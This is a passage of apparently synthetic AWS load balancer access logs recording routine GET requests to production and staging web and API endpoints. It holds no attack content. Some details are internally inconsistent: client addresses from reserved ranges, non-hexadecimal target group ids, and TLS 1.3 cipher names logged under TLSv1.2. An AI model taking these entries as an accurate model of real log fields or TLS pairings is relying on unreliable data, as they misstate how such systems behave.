"10.0.229.248:443" "301" "-" "-" -https 2024-11-01T01:35:40.265988Z prod-web-alb 240.88.243.211:37188 10.0.4.48:443 0.007946 0.023500 0.055184 200 200 793 7415 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdfc-6c389d7288664524aa656393" "prod-web-alb.example.com" "-" 8 2024-11-01T01:35:40.265988Z "forward" "-" "-" "10.0.4.48:443" "200" "-" "-" -https 2024-11-01T01:35:41.006134Z staging-alb 75.55.10.115:57020 154.33.1.109:80 0.086597 0.547376 0.011254 200 200 662 3521 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdfd-2f70fca87c824ac4b197fa18" "staging-alb.example.com" "-" 8 2024-11-01T01:35:41.006134Z "forward" "-" "-" "154.33.1.109:80" "200" "-" "-" -https 2024-11-01T01:35:42.752822Z prod-api-alb 197.29.99.80:46478 10.0.187.153:443 0.074838 0.420849 0.020152 200 200 900 13609 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdfe-ccd7097b5d8c40fd81610dbf" "prod-api-alb.example.com" "-" 4 2024-11-01T01:35:42.752822Z "forward" "-" "-" "10.0.187.153:443" "200" "-" "-" -http 2024-11-01T01:35:43.935259Z staging-alb 192.169.44.18:43848 220.249.125.199:443 0.084043 0.387830 0.074042 200 200 612 8460 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdff-3859946fe083489b8fc04710" "staging-alb.example.com" "-" 1 2024-11-01T01:35:43.935259Z "forward" "-" "-" "220.249.125.199:443" "200" "-" "-" -https 2024-11-01T01:35:45.737218Z prod-api-alb 114.129.11.18:63926 10.0.144.28:443 0.083452 0.159019 0.068263 200 200 335 7658 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce01-7fa258d2c6d945818a5cf4a2" "prod-api-alb.example.com" "-" 10 2024-11-01T01:35:45.737218Z "forward" "-" "-" "10.0.144.28:443" "200" "-" "-" -https 2024-11-01T01:35:45.950449Z prod-api-alb 147.143.239.152:27118 10.0.250.252:443 0.002309 0.001891 0.047405 200 200 962 2649 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce01-f52163153c2a4ac3ba319918" "prod-api-alb.example.com" "-" 7 2024-11-01T01:35:45.950449Z "forward" "-" "-" "10.0.250.252:443" "200" "-" "-" -https 2024-11-01T01:35:47.341982Z staging-alb 86.10.238.188:43056 190.186.65.54:443 0.103943 0.171619 0.023957 302 302 900 12240 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce03-21e3a3e25c2a40f69a37954e" "staging-alb.example.com" "-" 10 2024-11-01T01:35:47.341982Z "forward" "-" "-" "190.186.65.54:443" "302" "-" "-" -https 2024-11-01T01:35:47.997272Z prod-api-alb 148.106.228.133:38452 10.0.208.167:443 0.034923 0.147546 0.045200 200 200 796 3396 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce03-b7b3f5c012024a08804f02eb" "prod-api-alb.example.com" "-" 6 2024-11-01T01:35:47.997272Z "forward" "-" "-" "10.0.208.167:443" "200" "-" "-" -https 2024-11-01T01:35:49.732458Z prod-api-alb 99.207.100.171:27801 10.0.122.178:443 0.096660 0.477421 0.061379 302 302 103 14855 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce05-31a37bdab0634dc2bd412606" "prod-api-alb.example.com" "-" 2 2024-11-01T01:35:49.732458Z "forward" "-" "-" "10.0.122.178:443" "302" "-" "-" -https 2024-11-01T01:35:51.479740Z prod-web-alb 112.75.66.126:25446 10.0.167.64:443 0.026111 0.489676 0.044757 404 404 253 13795 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce07-004412dd649149ac9e9737fd" "prod-web-alb.example.com" "-" 5 2024-11-01T01:35:51.479740Z "forward" "-" "-" "10.0.167.64:443" "404" "-" "-" -https 2024-11-01T01:35:51.861181Z prod-api-alb 183.96.127.1:14624 10.0.195.2:443 0.061342 0.361295 0.049013 404 404 578 13905 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce07-e578eff8a74e4aa18b13ad9f" "prod-api-alb.example.com" "-" 0 2024-11-01T01:35:51.861181Z "forward" "-" "-" "10.0.195.2:443" "404" "-" "-" -https 2024-11-01T01:35:52.095297Z staging-alb 10.151.145.225:29630 68.132.255.209:443 0.072989 0.497761 0.104931 302 302 229 14085 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce08-06f5f760a6e34cfcae7284b9" "staging-alb.example.com" "-" 7 2024-11-01T01:35:52.095297Z "forward" "-" "-" "68.132.255.209:443" "302" "-" "-" -https 2024-11-01T01:35:52.429719Z prod-web-alb 89.105.171.17:51252 10.0.73.178:443 0.054214 0.311643 0.022375 404 404 636 5407 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce08-58ab8fba9d1f4776ab1b0a65" "prod-web-alb.example.com" "-" 2 2024-11-01T01:35:52.429719Z "forward" "-" "-" "10.0.73.178:443" "404" "-" "-" -http 2024-11-01T01:35:52.819652Z staging-alb 19.254.114.188:35139 22.243.5.73:80 0.008806 0.057650 0.045599 200 200 424 9291 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce08-632b8c5eb2da4e2db453c125" "staging-alb.example.com" "-" 8 2024-11-01T01:35:52.819652Z "forward" "-" "-" "22.243.5.73:80" "200" "-" "-" -https 2024-11-01T01:35:53.313719Z prod-api-alb 15.2.11.106:34593 10.0.88.66:443 0.095133 0.453391 0.024028 200 200 391 7556 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce09-b7eded4bdf57416e93b0a25b" "prod-api-alb.example.com" "-" 8 2024-11-01T01:35:53.313719Z "forward" "-" "-" "10.0.88.66:443" "200" "-" "-" -https 2024-11-01T01:35:54.782230Z prod-api-alb 162.47.176.96:45257 10.0.133.33:443 0.033565 0.027429 0.035016 200 200 92 2910 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce0a-2766f0846e5643148034ade4" "prod-api-alb.example.com" "-" 6 2024-11-01T01:35:54.782230Z "forward" "-" "-" "10.0.133.33:443" "200" "-" "-" -https 2024-11-01T01:35:55.911280Z prod-api-alb 131.172.109.94:14959 10.0.67.205:443 0.026460 0.159198 0.095387 200 200 310 8248 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce0b-f8b79547d2d44148a9ce4ec7" "prod-api-alb.example.com" "-" 5 2024-11-01T01:35:55.911280Z "forward" "-" "-" "10.0.67.205:443" "200" "-" "-" -https 2024-11-01T01:35:57.388343Z prod-api-alb 237.28.214.214:21224 10.0.75.156:443 0.028773 0.349737 0.079127 302 302 559 14980 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce0d-e0a0cb97385b45c68c8f80d0" "prod-api-alb.example.com" "-" 9 2024-11-01T01:35:57.388343Z "forward" "-" "-" "10.0.75.156:443" "302" "-" "-" -https 2024-11-01T01:35:59.258331Z prod-api-alb 95.121.56.244:45282 10.0.204.134:443 0.017993 0.315744 0.043370 302 302 584 14277 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce0f-b36cb373c90347b09c391bf9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:35:59.258331Z "forward" "-" "-" "10.0.204.134:443" "302" "-" "-" -https 2024-11-01T01:36:00.549730Z prod-web-alb 144.166.52.38:58570 10.0.153.80:443 0.081970 0.499447 0.053555 200 200 885 14636 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce10-740d4b528c4844979c2934fc" "prod-web-alb.example.com" "-" 1 2024-11-01T01:36:00.549730Z "forward" "-" "-" "10.0.153.80:443" "200" "-" "-" -https 2024-11-01T01:36:01.272229Z prod-web-alb 200.40.19.82:23035 10.0.185.45:443 0.013388 0.034487 0.016359 302 302 198 14072 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce11-bec6fbf4fb7f4fb6aabaabf9" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:01.272229Z "forward" "-" "-" "10.0.185.45:443" "302" "-" "-" -https 2024-11-01T01:36:01.828707Z prod-web-alb 119.187.9.144:64884 10.0.169.248:443 0.099110 0.013604 0.079092 200 200 288 12546 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce11-fd5f86b8cf59459a9944a360" "prod-web-alb.example.com" "-" 2 2024-11-01T01:36:01.828707Z "forward" "-" "-" "10.0.169.248:443" "200" "-" "-" -https 2024-11-01T01:36:02.523623Z prod-web-alb 101.104.148.135:45593 10.0.142.176:443 0.024932 0.062033 0.055074 200 200 582 4526 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce12-ad4c4fac3f2745f18d8e466b" "prod-web-alb.example.com" "-" 10 2024-11-01T01:36:02.523623Z "forward" "-" "-" "10.0.142.176:443" "200" "-" "-" -https 2024-11-01T01:36:03.830092Z staging-alb 103.209.243.10:16160 128.203.203.122:8080 0.016289 0.706722 0.048279 200 200 539 8861 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce13-2b76786c9db544b8ae62c126" "staging-alb.example.com" "-" 9 2024-11-01T01:36:03.830092Z "forward" "-" "-" "128.203.203.122:8080" "200" "-" "-" -http 2024-11-01T01:36:05.787003Z staging-alb 234.118.81.33:33252 253.255.129.78:443 0.037544 0.673613 0.132037 302 302 216 7504 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce15-7f3bf3c4e731415c9009f04c" "staging-alb.example.com" "-" 4 2024-11-01T01:36:05.787003Z "forward" "-" "-" "253.255.129.78:443" "302" "-" "-" -http 2024-11-01T01:36:07.264470Z staging-alb 34.103.117.197:17207 51.209.147.95:80 0.144886 0.605592 0.043705 200 200 68 3506 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce17-54c6ff72100341c9b5ef5d3b" "staging-alb.example.com" "-" 5 2024-11-01T01:36:07.264470Z "forward" "-" "-" "51.209.147.95:80" "200" "-" "-" -https 2024-11-01T01:36:08.186261Z staging-alb 74.210.59.14:24593 251.152.176.229:80 0.081981 0.748314 0.003265 200 200 511 9952 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce18-2175cedcb35841fe8a486a4a" "staging-alb.example.com" "-" 8 2024-11-01T01:36:08.186261Z "forward" "-" "-" "251.152.176.229:80" "200" "-" "-" -https 2024-11-01T01:36:09.769502Z prod-api-alb 124.98.8.187:47642 10.0.36.30:443 0.043239 0.157669 0.077269 302 302 348 3499 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce19-6010870eef6d41c8ace99131" "-" "-" 4 2024-11-01T01:36:09.769502Z "forward" "-" "-" "10.0.36.30:443" "302" "-" "-" -https 2024-11-01T01:36:09.894893Z staging-alb 145.50.196.57:30848 6.189.166.254:443 0.029567 0.032640 0.012616 301 301 155 4888 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce19-b91132d3597a487db59ebd5a" "staging-alb.example.com" "-" 5 2024-11-01T01:36:09.894893Z "forward" "-" "-" "6.189.166.254:443" "301" "-" "-" -http 2024-11-01T01:36:10.425370Z staging-alb 145.9.168.103:23689 178.65.47.152:8080 0.137758 0.701417 0.044712 301 301 982 14276 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce1a-d2e4365618a248c9aa992af2" "staging-alb.example.com" "-" 0 2024-11-01T01:36:10.425370Z "forward" "-" "-" "178.65.47.152:8080" "301" "-" "-" -https 2024-11-01T01:36:11.054098Z prod-web-alb 229.243.253.76:31862 10.0.12.99:443 0.064206 0.424709 0.017110 301 301 477 750 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce1b-083c41acb5ef42e4ac37d1be" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:11.054098Z "forward" "-" "-" "10.0.12.99:443" "301" "-" "-" -https 2024-11-01T01:36:12.691045Z prod-web-alb 190.55.78.156:22274 10.0.95.214:443 0.020114 0.296314 0.071899 301 301 68 2244 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce1c-f86556d634764e45ac490c8f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:36:12.691045Z "forward" "-" "-" "10.0.95.214:443" "301" "-" "-" -https 2024-11-01T01:36:14.184145Z prod-api-alb 114.253.17.107:42496 10.0.90.101:443 0.026872 0.215319 0.087686 302 302 831 3311 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce1e-1476d9e83a24497893491323" "prod-api-alb.example.com" "-" 5 2024-11-01T01:36:14.184145Z "forward" "-" "-" "10.0.90.101:443" "302" "-" "-" -https 2024-11-01T01:36:15.673260Z prod-web-alb 131.38.88.57:46079 10.0.101.247:443 0.013091 0.156109 0.063314 404 404 536 14459 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce1f-0ad30b39c18446ca94792435" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:15.673260Z "forward" "-" "-" "10.0.101.247:443" "404" "-" "-" -http 2024-11-01T01:36:16.284963Z staging-alb 236.254.78.144:50301 55.224.193.246:443 0.034456 0.035620 0.091546 200 200 316 13343 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce20-03b5b0bd1a6b440fadeae86a" "staging-alb.example.com" "-" 0 2024-11-01T01:36:16.284963Z "forward" "-" "-" "55.224.193.246:443" "200" "-" "-" -https 2024-11-01T01:36:17.764347Z staging-alb 28.124.92.232:37341 45.78.2.68:443 0.104635 0.391724 0.118140 200 200 975 1750 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce21-1f0a455ea77746c0bc085a47" "staging-alb.example.com" "-" 9 2024-11-01T01:36:17.764347Z "forward" "-" "-" "45.78.2.68:443" "200" "-" "-" -https 2024-11-01T01:36:18.708952Z prod-api-alb 70.30.120.217:35156 10.0.208.51:443 0.014727 0.413520 0.018486 302 302 154 9747 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce22-84a065d0bca94ea4b4f33853" "prod-api-alb.example.com" "-" 2 2024-11-01T01:36:18.708952Z "forward" "-" "-" "10.0.208.51:443" "302" "-" "-" -https 2024-11-01T01:36:20.477429Z staging-alb 150.216.250.204:55917 133.239.242.168:80 0.002569 0.449651 0.050336 301 301 153 10321 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce24-029ae7c59b124c7ca322841e" "staging-alb.example.com" "-" 5 2024-11-01T01:36:20.477429Z "forward" "-" "-" "133.239.242.168:80" "301" "-" "-" -https 2024-11-01T01:36:22.410438Z prod-web-alb 160.132.236.152:31514 10.0.33.219:443 0.065999 0.076181 0.062671 200 200 361 7235 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce26-9a700b56b4e24e049067acdd" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:22.410438Z "forward" "-" "-" "10.0.33.219:443" "200" "-" "-" -https 2024-11-01T01:36:24.048561Z prod-web-alb 6.181.218.245:48498 10.0.94.84:443 0.099657 0.362399 0.039042 404 404 175 13551 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce28-7e2265fd633348e09d9a584d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:24.048561Z "forward" "-" "-" "10.0.94.84:443" "404" "-" "-" -http 2024-11-01T01:36:24.158518Z staging-alb 88.23.199.135:52450 138.43.89.145:80 0.011812 0.302828 0.004603 302 302 48 14785 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce28-30a0d5b1a82b43ff987797e3" "staging-alb.example.com" "-" 9 2024-11-01T01:36:24.158518Z "forward" "-" "-" "138.43.89.145:80" "302" "-" "-" -https 2024-11-01T01:36:25.264379Z prod-web-alb 27.56.5.199:20511 10.0.90.157:443 0.087766 0.106540 0.053365 200 200 707 9360 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce29-8c945c90520045f2b24499fc" "prod-web-alb.example.com" "-" 0 2024-11-01T01:36:25.264379Z "forward" "-" "-" "10.0.90.157:443" "200" "-" "-" -https 2024-11-01T01:36:26.233671Z prod-api-alb 141.11.2.21:53252 10.0.200.68:443 0.048047 0.412178 0.038910 200 200 505 10599 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce2a-81953db316c643b7933c56c2" "prod-api-alb.example.com" "-" 10 2024-11-01T01:36:26.233671Z "forward" "-" "-" "10.0.200.68:443" "200" "-" "-" -https 2024-11-01T01:36:27.062233Z prod-web-alb 41.153.59.23:16009 10.0.43.200:443 0.049210 0.239740 0.028811 200 200 466 2684 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce2b-03a6fab98fd34259b6328194" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:27.062233Z "forward" "-" "-" "10.0.43.200:443" "200" "-" "-" -https 2024-11-01T01:36:28.008917Z prod-web-alb 115.192.187.79:32293 10.0.171.1:443 0.055530 0.460631 0.080029 200 200 433 6541 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce2c-7ee60ebb32b74582ae52042f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:28.008917Z "forward" "-" "-" "10.0.171.1:443" "200" "-" "-" -https 2024-11-01T01:36:28.416272Z prod-api-alb 235.59.192.35:58855 10.0.131.139:443 0.075684 0.448761 0.066893 301 301 168 8441 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce2c-cefa4a7460714c658030f497" "prod-api-alb.example.com" "-" 8 2024-11-01T01:36:28.416272Z "forward" "-" "-" "10.0.131.139:443" "301" "-" "-" -https 2024-11-01T01:36:29.977420Z prod-web-alb 90.15.147.8:62876 10.0.190.84:443 0.069526 0.167679 0.020014 302 302 898 5707 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce2d-6275d6634fe7432490bbf635" "prod-web-alb.example.com" "-" 1 2024-11-01T01:36:29.977420Z "forward" "-" "-" "10.0.190.84:443" "302" "-" "-" -https 2024-11-01T01:36:30.300224Z prod-api-alb 27.208.108.208:41537 10.0.114.171:443 0.077856 0.418542 0.056560 301 301 742 8243 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce2e-d45034798aa048c3945144bc" "prod-api-alb.example.com" "-" 3 2024-11-01T01:36:30.300224Z "forward" "-" "-" 